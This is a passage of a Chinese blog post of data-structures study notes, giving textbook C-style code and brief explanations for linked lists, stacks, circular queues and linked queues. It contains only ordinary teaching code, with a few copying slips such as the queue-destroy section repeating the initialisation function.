++j; &#125; </span><br><span class="line">    <span class="keyword">if</span>(!(p-&gt;next)||j&gt;i<span class="number">-1</span>) <span class="keyword">return</span> ERROR; <span class="comment">//删除位置不合理 </span></span><br><span class="line">    q=p-&gt;next; <span class="comment">//临时保存被删结点的地址以备释放 </span></span><br><span class="line">    p-&gt;next=q-&gt;next; <span class="comment">//改变删除结点前驱结点的指针域 </span></span><br><span class="line">    e=q-&gt;data; <span class="comment">//保存删除结点的数据域 </span></span><br><span class="line">    delete q; <span class="comment">//释放删除结点的空间 </span></span><br><span class="line"> <span class="keyword">return</span> OK; </span><br><span class="line">&#125;<span class="comment">//ListDelete_L </span></span><br></pre></td></tr></table></figure><h4 id="建立链表"><a href="#建立链表" class="headerlink" title="建立链表"></a>建立链表</h4><p>前插法</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">CreateList_F</span><span class="params">(LinkList &amp;L,<span class="type">int</span> n)</span>&#123; </span><br><span class="line">     L=new LNode; </span><br><span class="line">      L-&gt;next=<span class="literal">NULL</span>; <span class="comment">//先建立一个带头结点的单链表 </span></span><br><span class="line">      <span class="keyword">for</span>(i=n;i&gt;<span class="number">0</span>;--i)&#123; </span><br><span class="line">        p=new LNode; <span class="comment">//生成新结点 </span></span><br><span class="line">        <span class="built_in">cin</span>&gt;&gt;p-&gt;data; <span class="comment">//输入元素值 </span></span><br><span class="line">        p-&gt;next=L-&gt;next;L-&gt;next=p; <span class="comment">//插入到表头 </span></span><br><span class="line">     &#125; </span><br><span class="line">&#125;<span class="comment">//CreateList_F </span></span><br></pre></td></tr></table></figure><p>尾插法</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">CreateList_L</span><span class="params">(LinkList &amp;L,<span class="type">int</span> n)</span>&#123; </span><br><span class="line">      <span class="comment">//正位序输入n个元素的值，建立带表头结点的单链表L </span></span><br><span class="line">      L=new LNode; </span><br><span class="line">      L-&gt;next=<span class="literal">NULL</span>; </span><br><span class="line">      r=L; <span class="comment">//尾指针r指向头结点 </span></span><br><span class="line">      <span class="keyword">for</span>(i=<span class="number">0</span>;i&lt;n;++i)&#123; </span><br><span class="line">        p=new LNode;　<span class="comment">//生成新结点 </span></span><br><span class="line">        <span class="built_in">cin</span>&gt;&gt;p-&gt;data;   <span class="comment">//输入元素值 </span></span><br><span class="line">        p-&gt;next=<span class="literal">NULL</span>; r-&gt;next=p;     <span class="comment">//插入到表尾 </span></span><br><span class="line">        r=p; <span class="comment">//r指向新的尾结点 </span></span><br><span class="line">      &#125; </span><br><span class="line">&#125;<span class="comment">//CreateList_L </span></span><br></pre></td></tr></table></figure><h4 id="有序链表的合并"><a href="#有序链表的合并" class="headerlink" title="有序链表的合并"></a>有序链表的合并</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">MergeList_L</span><span class="params">(LinkList &amp;La,LinkList &amp;Lb,LinkList &amp;Lc)</span>&#123;</span><br><span class="line">   pa=La-&gt;next;  pb=Lb-&gt;next;</span><br><span class="line">   pc=Lc=La;             <span class="comment">//用La的头结点作为Lc的头结点 </span></span><br><span class="line">   <span class="keyword">while</span>(pa &amp;&amp; pb)&#123;</span><br><span class="line">      <span class="keyword">if</span>(pa-&gt;data&lt;=pb-&gt;data)&#123; pc-&gt;next=pa;pc=pa;pa=pa-&gt;next;&#125;</span><br><span class="line">      <span class="keyword">else</span>&#123;pc-&gt;next=pb; pc=pb; pb=pb-&gt;next;&#125;</span><br><span class="line">   pc-&gt;next=pa?pa:pb;    <span class="comment">//插入剩余段  </span></span><br><span class="line">   delete Lb;             <span class="comment">//释放Lb的头结点&#125;  </span></span><br></pre></td></tr></table></figure><h4 id="双链表"><a href="#双链表" class="headerlink" title="双链表"></a>双链表</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">DuLNode</span>&#123;</span></span><br><span class="line">    ElemType   data;              </span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">DuLNode</span>  *<span class="title">prior</span>;</span>  </span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">DuLNode</span>  *<span class="title">next</span>;</span>  </span><br><span class="line">&#125;DuLNode, *DuLinkList</span><br></pre></td></tr></table></figure><h4 id="双链表的插入"><a href="#双链表的插入" class="headerlink" title="双链表的插入"></a>双链表的插入</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">ListInsert_DuL</span><span class="params">(DuLinkList &amp;L,<span class="type">int</span> i,ElemType e)</span>&#123;</span><br><span class="line">   <span class="keyword">if</span>(!(p=GetElemP_DuL(L,i))) <span class="keyword">return</span> ERROR;</span><br><span class="line">    s=new DuLNode; </span><br><span class="line">   s-&gt;data=e;</span><br><span class="line">   s-&gt;prior=p-&gt;prior;  </span><br><span class="line">   p-&gt;prior-&gt;next=s;</span><br><span class="line">   s-&gt;next=p;  </span><br><span class="line">   p-&gt;prior=s;</span><br><span class="line">   <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="双链表的删除"><a href="#双链表的删除" class="headerlink" title="双链表的删除"></a>双链表的删除</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">ListDelete_DuL</span><span class="params">(DuLinkList &amp;L,<span class="type">int</span> i,ElemType &amp;e)</span>&#123;</span><br><span class="line">   <span class="keyword">if</span>(!(p=GetElemP_DuL(L,i)))     <span class="keyword">return</span> ERROR;</span><br><span class="line">   e=p-&gt;data;</span><br><span class="line">   p-&gt;prior-&gt;next=p-&gt;next;</span><br><span class="line">   p-&gt;next-&gt;prior=p-&gt;prior;</span><br><span class="line">   delete p; </span><br><span class="line">   <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="栈和队列"><a href="#栈和队列" class="headerlink" title="栈和队列"></a>栈和队列</h2><h3 id="顺序栈"><a href="#顺序栈" class="headerlink" title="顺序栈"></a>顺序栈</h3><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231205171418265.png" alt="image-20231205171418265"></p><h4 id="顺序栈的定义"><a href="#顺序栈的定义" class="headerlink" title="顺序栈的定义"></a>顺序栈的定义</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span>  MAXSIZE  100</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">SElemType   *base;</span><br><span class="line">SElemType   *top;</span><br><span class="line"><span class="type">int</span> stacksize;</span><br><span class="line">&#125;SqStack;</span><br></pre></td></tr></table></figure><h4 id="顺序栈的初始化"><a href="#顺序栈的初始化" class="headerlink" title="顺序栈的初始化"></a>顺序栈的初始化</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">InitStack</span><span class="params">( SqStack &amp;S )</span>&#123;</span><br><span class="line">S.base =new SElemType[MAXSIZE]；</span><br><span class="line"><span class="keyword">if</span>( !S.base ) <span class="keyword">return</span> OVERFLOW;</span><br><span class="line">S.top = S.base;</span><br><span class="line">S.stackSize = MAXSIZE;</span><br><span class="line"><span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="判断是否为空"><a href="#判断是否为空" class="headerlink" title="判断是否为空"></a>判断是否为空</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">bool</span> <span class="title function_">StackEmpty</span><span class="params">( SqStack S )</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(S.top == S.base) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">   <span class="keyword">else</span> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="求顺序栈的长度"><a href="#求顺序栈的长度" class="headerlink" title="求顺序栈的长度"></a>求顺序栈的长度</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">StackLength</span><span class="params">( SqStack S )</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> S.top – S.base;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="清空顺序栈"><a href="#清空顺序栈" class="headerlink" title="清空顺序栈"></a>清空顺序栈</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">ClearStack</span><span class="params">( SqStack  &amp;S )</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>( S.base ) S.top = S.base;</span><br><span class="line"><span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="销毁顺序栈"><a href="#销毁顺序栈" class="headerlink" title="销毁顺序栈"></a>销毁顺序栈</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">DestroyStack</span><span class="params">( SqStack &amp;S )</span>&#123;</span><br><span class="line"><span class="keyword">if</span>( S.base )&#123;</span><br><span class="line">delete S.base ;</span><br><span class="line">S.stacksize = <span class="number">0</span>;</span><br><span class="line">S.base = S.top = <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line">  <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="进栈"><a href="#进栈" class="headerlink" title="进栈"></a>进栈</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">Push</span><span class="params">( SqStack &amp;S, SElemType e)</span>  </span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>( S.top - S.base== S.stacksize ) <span class="comment">// 栈满</span></span><br><span class="line">        <span class="keyword">return</span> ERROR; </span><br><span class="line">*S.top++=e;</span><br><span class="line"><span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="出栈"><a href="#出栈" class="headerlink" title="出栈"></a>出栈</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">Pop</span><span class="params">( SqStack &amp;S, SElemType &amp;e)</span>  </span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>( S.top == S.base ) <span class="comment">// 栈空</span></span><br><span class="line">        <span class="keyword">return</span> ERROR; </span><br><span class="line">e＝ *--S.top;</span><br><span class="line"><span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="取顺序栈栈顶元素"><a href="#取顺序栈栈顶元素" class="headerlink" title="取顺序栈栈顶元素"></a>取顺序栈栈顶元素</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">GetTop</span><span class="params">( SqStack S, SElemType &amp;e)</span>  </span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>( S.top == S.base ) <span class="keyword">return</span> ERROR; <span class="comment">// 栈空</span></span><br><span class="line">e = *( S.top – <span class="number">1</span> );</span><br><span class="line"><span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="链栈"><a href="#链栈" class="headerlink" title="链栈"></a>链栈</h3><p>运算受限的单链表，只能在链表头部进行操作，故没有必要附加头结点。栈顶指针就是链表的头指针</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231205171920231.png" alt="image-20231205171920231"></p><h4 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span>  <span class="class"><span class="keyword">struct</span> <span class="title">StackNode</span> &#123;</span></span><br><span class="line">      SElemType  data; <span class="comment">//数据域</span></span><br><span class="line">      <span class="class"><span class="keyword">struct</span> <span class="title">StackNode</span> *<span class="title">next</span>;</span> <span class="comment">//指针域</span></span><br><span class="line"> &#125; StackNode,  *LinkStack;</span><br></pre></td></tr></table></figure><h3 id="初始化-1"><a href="#初始化-1" class="headerlink" title="初始化"></a>初始化</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">InitStack</span><span class="params">(LinkStack &amp;S )</span></span><br><span class="line">&#123;</span><br><span class="line">S=<span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="判断是否为空-1"><a href="#判断是否为空-1" class="headerlink" title="判断是否为空"></a>判断是否为空</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">StackEmpty</span><span class="params">(LinkStack S)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (S == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> TRUE;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> FALSE;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="进栈-1"><a href="#进栈-1" class="headerlink" title="进栈"></a>进栈</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">Push</span><span class="params">(LinkStack &amp;S, SElemType e)</span> &#123;</span><br><span class="line">    p = new StackNode; <span class="comment">// 生成新结点p</span></span><br><span class="line">    <span class="keyword">if</span> (!p) &#123;</span><br><span class="line">        <span class="built_in">exit</span>(OVERFLOW);</span><br><span class="line">    &#125;</span><br><span class="line">    p-&gt;data = e;</span><br><span class="line">    p-&gt;next = S;</span><br><span class="line">    S = p;</span><br><span class="line">    <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="出栈-1"><a href="#出栈-1" class="headerlink" title="出栈"></a>出栈</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">Pop</span> <span class="params">(LinkStack &amp;S,SElemType &amp;e)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (S==<span class="literal">NULL</span>) <span class="keyword">return</span> ERROR;</span><br><span class="line">e = S-&gt; data;  </span><br><span class="line">p = S;   </span><br><span class="line">S =  S-&gt; next;</span><br><span class="line">delete p;   </span><br><span class="line"><span class="keyword">return</span> OK;  </span><br><span class="line">&#125;  </span><br></pre></td></tr></table></figure><h4 id="取栈顶元素"><a href="#取栈顶元素" class="headerlink" title="取栈顶元素"></a>取栈顶元素</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">SElemType GetTop(LinkStack S) &#123;</span><br><span class="line">    if (S == NULL) &#123;</span><br><span class="line">        exit(1);</span><br><span class="line">    &#125; else &#123;</span><br><span class="line">        return S-&gt;data;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="循环队列"><a href="#循环队列" class="headerlink" title="循环队列"></a>循环队列</h3><h4 id="定义-1"><a href="#定义-1" class="headerlink" title="定义"></a>定义</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> M  100   <span class="comment">//最大队列长度</span></span></span><br><span class="line">Typedef <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">   QElemType *base;  <span class="comment">//初始化的动态分配存储空间</span></span><br><span class="line">   <span class="type">int</span>  front;            <span class="comment">//头指针   </span></span><br><span class="line">   <span class="type">int</span>  rear;             <span class="comment">//尾指针</span></span><br><span class="line">&#125;SqQueue;  </span><br></pre></td></tr></table></figure><h4 id="解决假溢出问题"><a href="#解决假溢出问题" class="headerlink" title="解决假溢出问题"></a>解决假溢出问题</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231205183321383.png" alt="image-20231205183321383"></p><h4 id="初始化-2"><a href="#初始化-2" class="headerlink" title="初始化"></a>初始化</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">InitQueue</span> <span class="params">(SqQueue &amp;Q)</span>&#123;</span><br><span class="line">    Q.base =new QElemType[MAXQSIZE] ;</span><br><span class="line">   <span class="keyword">if</span>(!Q.base) <span class="built_in">exit</span>(OVERFLOW);</span><br><span class="line">    Q.front=Q.rear=<span class="number">0</span>;</span><br><span class="line">    <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="求循环队列的长度"><a href="#求循环队列的长度" class="headerlink" title="求循环队列的长度"></a>求循环队列的长度</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span>  <span class="title function_">QueueLength</span> <span class="params">(SqQueue Q)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> (Q.rear-Q.front+MAXQSIZE)%MAXQSIZE;   </span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><h4 id="入队"><a href="#入队" class="headerlink" title="入队"></a>入队</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">EnQueue</span><span class="params">(SqQueue &amp;Q,QElemType e)</span>&#123;</span><br><span class="line">    <span class="keyword">if</span>((Q.rear+<span class="number">1</span>)%MAXQSIZE==Q.front)  <span class="keyword">return</span> ERROR;</span><br><span class="line">    Q.base[Q.rear]=e;</span><br><span class="line">    Q.rear=(Q.rear+<span class="number">1</span>)%MAXQSIZE;</span><br><span class="line">     <span class="keyword">return</span> OK; </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="出队"><a href="#出队" class="headerlink" title="出队"></a>出队</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">DeQueue</span> <span class="params">(LinkQueue &amp;Q,QElemType &amp;e)</span>&#123;</span><br><span class="line">   <span class="keyword">if</span>(Q.front==Q.rear) <span class="keyword">return</span> ERROR;</span><br><span class="line">   e=Q.base[Q.front];</span><br><span class="line">   Q.front=(Q.front+<span class="number">1</span>)%MAXQSIZE;</span><br><span class="line">   <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="链队列"><a href="#链队列" class="headerlink" title="链队列"></a>链队列</h3><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231205184146628.png" alt="image-20231205184146628"></p><h4 id="定义-2"><a href="#定义-2" class="headerlink" title="定义"></a>定义</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">QNode</span>&#123;</span></span><br><span class="line">   QElemType   data;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">Qnode</span>  *<span class="title">next</span>;</span></span><br><span class="line">&#125;Qnode, *QueuePtr;</span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">   QueuePtr  front;            <span class="comment">//队头指针   </span></span><br><span class="line">   QueuePtr  rear;             <span class="comment">//队尾指针</span></span><br><span class="line">&#125;LinkQueue;  </span><br></pre></td></tr></table></figure><h4 id="初始化-3"><a href="#初始化-3" class="headerlink" title="初始化"></a>初始化</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">InitQueue</span> <span class="params">(LinkQueue &amp;Q)</span>&#123;</span><br><span class="line">   Q.front=Q.rear=(QueuePtr) <span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(QNode)); </span><br><span class="line">    <span class="keyword">if</span>(!Q.front) <span class="built_in">exit</span>(OVERFLOW);</span><br><span class="line">    Q.front-&gt;next=<span class="literal">NULL</span>;</span><br><span class="line">     <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="销毁链队列"><a href="#销毁链队列" class="headerlink" title="销毁链队列"></a>销毁链队列</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">InitQueue</span> <span class="params">(LinkQueue &amp;Q)</span>&#123;</span><br><span class="line">   Q.front=Q.rear=(QueuePtr) <span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(QNode)); </span><br><span class="line">    <span class="keyword">if</span>(!Q.front) <span class="built_in">exit</span>(OVERFLOW);</span><br><span class="line">    Q.front-&gt;next=<span class="literal">NULL</span>;</span><br><span class="line">     <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="判断链队列是否为空"><a href="#判断链队列是否为空" class="headerlink" title="判断链队列是否为空"></a>判断链队列是否为空</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">QueueEmpty</span> <span class="params">(LinkQueue Q)</span>&#123;</span><br><span class="line">   <span class="keyword">return</span> (Q.front==Q.rear);   </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="求链队列对头元素"><a href="#求链队列对头元素" class="headerlink" title="求链队列对头元素"></a>求链队列对头元素</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">GetHead</span> <span class="params">(LinkQueue Q, QElemType &amp;e)</span>&#123;</span><br><span class="line">   <span class="keyword">if</span>(Q.front==Q.rear) <span class="keyword">return</span> ERROR;</span><br><span class="line">   e=Q.front-&gt;next-&gt;data;</span><br><span class="line">   <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="链队列入队"><a href="#链队列入队" class="headerlink" title="链队列入队"></a>链队列入队</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">EnQueue</span><span class="params">(LinkQueue &amp;Q,QElemType e)</span>&#123;</span><br><span class="line">    p=(QueuePtr)<span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(QNode));</span><br><span class="line">    <span class="keyword">if</span>(!p) <span class="built_in">exit</span>(OVERFLOW);</span><br><span class="line">    p-&gt;data=e; p-&gt;next=<span class="literal">NULL</span>;</span><br><span class="line">    Q.rear-&gt;next=p;</span><br><span class="line">    Q.rear=p;</span><br><span class="line">    <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>不带头结点</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">EnQueue</span><span class="params">(LinkQueue &amp;Q, QElemType e)</span> &#123;</span><br><span class="line">    p = (QueuePtr)<span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(QNode));</span><br><span class="line">    <span class="keyword">if</span> (!p) &#123;</span><br><span class="line">        <span class="built_in">exit</span>(OVERFLOW);</span><br><span class="line">    &#125;</span><br><span class="line">    p-&gt;data = e; </span><br><span class="line">    p-&gt;next = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="keyword">if</span> (Q.front == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        Q.front = p;</span><br><span class="line">        Q.rear = p;</span><br><span class="line">        <span class="keyword">return</span> OK;</span><br><span class="line">    &#125;</span><br><span class="line">    Q.rear-&gt;next = p;</span><br><span class="line">    Q.rear = p;</span><br><span class="line">    <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>带头结点的链队的入队操作，只要把新生成的结点加到尾结点后即可</p><p>而不带头结点的操作则还要注意到边界操作，假如是第一次入队，需修改队头指针。</p><p>同样的道理，对于出队操作，假如是最后一个结点出队，需要注意修改队尾指针</p><p>由此，我们建议链式队列好采用带头结点的实现方式。</p></blockquote><h4 id="链队列出队"><a href="#链队列出队" class="headerlink" title="链队列出队"></a>链队列出队</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">DeQueue</span> <span 